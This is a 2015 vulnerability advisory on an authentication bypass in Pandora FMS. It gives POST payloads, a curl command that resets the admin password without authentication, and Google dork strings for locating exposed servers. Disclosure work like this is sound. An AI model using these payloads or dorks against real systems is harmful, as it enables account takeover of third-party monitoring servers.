================================================================ Authentication Bypass in Pandora FMS ================================================================ Information -------------------- Name: Pandora FMS - Authentication Bypass Affected Software : Pandora FMS Affected Versions: 5.0, 5.1 Vendor Homepage : http://pandorafms.com/ Vulnerability Type : Authentication Bypass Severity : High Product -------------------- Pandora FMS (for Pandora Flexible Monitoring System) is a network monitoring software. Description -------------------- A vulnerability has been discovered in Pandora FMS that permits an unautheticated user to change the password for any Pandora user without knowing the actual user password. The vulnerability occurs at the login screen due to the session not being checked before the password is changed. Technical Details -------------------- Proof of Concept URL: URL: /index.php Method: POST Payload: renew_password=1&login=admin Payload2: renew_password=1&login=admin&password_new=newpass&password_confirm=newpass Google dork -------------------- intitle:"Pandora FMS - The Flexible Monitoring System" intitle:"Pandora FMS - el Sistema Flexible de Monitorizacin" Exploit -------------------- curl -d "renew_password=1&login=admin&password_new=newpass&password_confirm=newpass" http://localhost/index.php Advisory Timeline -------------------- 13/05/2015 - Discovered and vendor notified 13/05/2015 - Vendor responded 28/05/2015 - Vendor patched the vulnerability 10/06/2015 - Vulnerability published Solution -------------------- Apply the latest patches available at the vendor website. Credits & Authors -------------------- Manuel Mancera (sinkmanu) mmancera@a2secure.com <mailto:mmancera@a2secure.com> Artm Tsvetkov atsvetkov@a2secure.com <mailto:atsvetkov@a2secure.com> www.a2secure.com Disclaimer ------------------- All information is provided without warranty. The intent is to provide information to secure infrastructure and/or systems, not to be able to attack or damage. Therefore A2Secure shall not be liable for any direct or indirect damages that might be caused by using this information.